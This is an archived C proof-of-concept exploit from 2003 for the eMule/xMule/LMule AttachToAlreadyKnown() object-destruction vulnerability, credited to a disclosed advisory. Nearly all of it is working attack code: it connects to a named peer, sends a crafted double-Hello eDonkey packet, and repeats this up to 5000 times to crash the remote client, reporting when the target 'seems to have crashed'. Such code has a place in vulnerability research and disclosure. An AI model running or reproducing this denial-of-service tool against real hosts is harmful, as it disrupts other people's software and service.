home *** CD-ROM | disk | FTP | other *** search
- /*
- * eMule/xMule/LMule AttachToAlreadyKnown() Object Destruction Vulnerability
- * (SecurityFocus BID 8444)
- * proof of concept code
- * version 1.2 (Sep 01 2003)
- *
- * by RΘmi Denis-Courmont <exploit@simutrans.fr.st>
- * http://www.simphalempin.com/dev/
- *
- * This vulnerability was found by:
- * Stefan Esser <s.esser@e-matters.de>
- * whose original advisory may be fetched from:
- * http://security.e-matters.de/advisories/022003.html
- *
- * Vulnerable:
- * - eMule v0.29b/0.29c -> client crashes after **A LOT** of DoS attempts
- * - eMule v0.29a -> client crashes after a few DoS attempts
- * - xMule stable v1.4.2 -> client crashes immediately
- * - xMule unstable v1.5.6a -> client crashes immediately
- * - Lmule v1.3.1 -> ??? (NOT tested)
- *
- * Not vulnerable:
- * - xMule stable v1.4.3 and v1.6.0,
- * - eMule v0.30a.
- */
-
-
- /*****************************************************************************
- * Copyright (C) 2003 RΘmi Denis-Courmont. All rights reserved. *
- * *
- * Redistribution and use in source and binary forms, with or without *
- * modification, are permitted provided that the following conditions *
- * are met: *
- * 1. Redistributions of source code must retain the above copyright *
- * notice, this list of conditions and the following disclaimer. *
- * 2. Redistributions in binary form must reproduce the above copyright *
- * notice, this list of conditions and the following disclaimer in the *
- * documentation and/or other materials provided with the distribution. *
- * *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR *
- * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES *
- * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. *
- * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, *
- * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT *
- * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, *
- * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY *
- * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT *
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF *
- * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. *
- *****************************************************************************/
-
- #include <stdio.h>
- #include <stdint.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <unistd.h>
- #include <netdb.h>
-
- #define USER_HASH "AToAK__DoS__vuln" /* 16 bytes */
- #define MAXTRIES 5000
-
- int gai_errno = 0;
-
- void
- gai_perror (const char *str)
- {
- if ((gai_errno == EAI_SYSTEM) || (gai_errno == 0))
- perror (str);
- else
- fprintf (stderr, "%s: %s\n", str, gai_strerror (gai_errno));
- }
-
-
- int
- socket_connect (const char *hostname, const char *servname)
- {
- struct addrinfo hints, *res;
-
- hints.ai_family = PF_INET;
- hints.ai_socktype = SOCK_STREAM;
- hints.ai_protocol = 0;
- hints.ai_flags = 0;
-
- if ((gai_errno = getaddrinfo (hostname, servname, &hints, &res)) == 0)
- {
- struct addrinfo *ptr;
-
- for (ptr = res; ptr != NULL; ptr = ptr->ai_next)
- {
- int sock;
-
- sock = socket (ptr->ai_family, ptr->ai_socktype,
- ptr->ai_protocol);
- if (sock != -1)
- {
- const int val = 1;
-
- setsockopt (sock, SOL_SOCKET, SO_REUSEADDR,
- &val, sizeof (val));
- if (connect (sock, ptr->ai_addr,
- ptr->ai_addrlen))
- close (sock);
- else
- {
- /* success! */
- freeaddrinfo (res);
- return sock;
- }
- }
- }
- freeaddrinfo (res);
- }
- return -1;
- }
-
-
- int
- send_2hello (int fd/*, const void *userhash, size_t hlen*/)
- {
- /*
- * Note that eDonkey is an Intel-centric protocol that sends/receives
- * everything in counter-network-byte order (ie. low order first).
- */
- uint8_t buf[] =
- /* FIRST Hello request */
- "\xE3" // protocol
- "\x22\x00\x00\x00" // packet size
- "\x01" // command (Hello)
- "\x10" // user hash size
- USER_HASH // user hash
- "\x01\x00\x00\xff" // user ID = our IP
- "\x36\x12" // port on which to connect to us
- "\x00\x00\x00\x00" // tag count (MUST be <= 7)
- /* no tag for now */
- "\x00\x00\x00\x00" // server IP (0 = none)
- "\x00\x00" // server port (0 = none, usually 0x1235)
-
- /* SECOND Hello request */
- "\xE3" // protocol
- "\x22\x00\x00\x00" // packet size
- "\x01" // command (Hello)
- "\x10" // user hash size
- USER_HASH // user hash
- "\x01\x00\x00\xff" // user ID = our IP
- "\x36\x12" // port on which to connect to us
- "\x00\x00\x00\x00" // tag count (MUST be <= 7)
- /* no tag for now */
- "\x00\x00\x00\x00" // server IP (0 = none)
- "\x00\x00" // server port (0 = none, usually 0x1235)
- ;
- /*
- * We should put our real IP, randomize our user hash and add some tag
- * like real P2P clients here
- */
- return (send (fd, buf, sizeof (buf) - 1, 0) != (sizeof (buf) - 1));
- }
-
-
- int
- recv_hello (int fd)
- {
- unsigned char buf[256];
- uint8_t proto, cmd;
- uint32_t plen;
-
- return
- (recv (fd, &proto, sizeof (proto), MSG_WAITALL) != sizeof (proto))
- || (proto != 0xE3)
- || (recv (fd, &plen, sizeof (plen), MSG_WAITALL) != sizeof (plen))
- || (plen < 33) || (--plen > sizeof (buf))
- || (recv (fd, &cmd, sizeof (cmd), MSG_WAITALL) != sizeof (cmd))
- || (cmd != 0x4C);
- }
-
-
- static int
- usage (const char *path)
- {
- printf (
- "Syntax: %s <hostname|IP> [port]\n"
- " Attempt to crash eMule/xMule/LMule client <hostname|IP>\n"
- " ([port] is 4662 by default) through the\n"
- " \"AttachToAlreadyKnown Object Destruction vulnerability\"\n"
- " found by Stefan Esser <s.esser (at) e-matters (dot) de>.\n", path);
- return 2;
- }
-
-
- int
- main (int argc, char *argv[])
- {
- puts ("eMule/xMule/LMule AttachToAlreadyKnown() "
- "Object Destruction vulnerability\n"
- "proof of concept code\n"
- "Copyright (C) 2003 RΘmi Denis-Courmont "
- "<exploit@simutrans.fr.st>\n");
- if (argc < 2)
- return usage (argv[0]);
- else
- {
- int fd, count = 0;
- const char *host, *port;
-
- host = argv[1];
- port = (argc < 3) ? "4662" : argv[2];
- printf ("Connecting to [%s]:%s ...\n", host, port);
- while (++count && ((fd = socket_connect (host, port)) != -1))
- {
- printf ("Sending double-Hello packet (%d)...\n",
- count);
- if (send_2hello (fd))
- {
- perror ("Error");
- count = -1;
- }
-
- puts ("Checking reply ...");
- if (recv_hello (fd))
- {
- fprintf (stderr, "%s: malformed reply\n",
- host);
- count = -1;
- }
- else if (recv_hello (fd))
- printf ("%s might be vulnerable.\n", host);
- else
- {
- printf ("%s is not vulnerable.\n", host);
- count = -1;
- }
- close (fd);
-
- if (count >= MAXTRIES)
- {
- printf ("%s is still alive after %d deadly "
- "packets. Probably not vulnerable.\n",
- host, count);
- return 0;
- }
- }
-
- gai_perror (host);
- if (count)
- {
- puts ("Remote host seems to have crashed!");
- return 0;
- }
- }
-
- return 1;
- }
-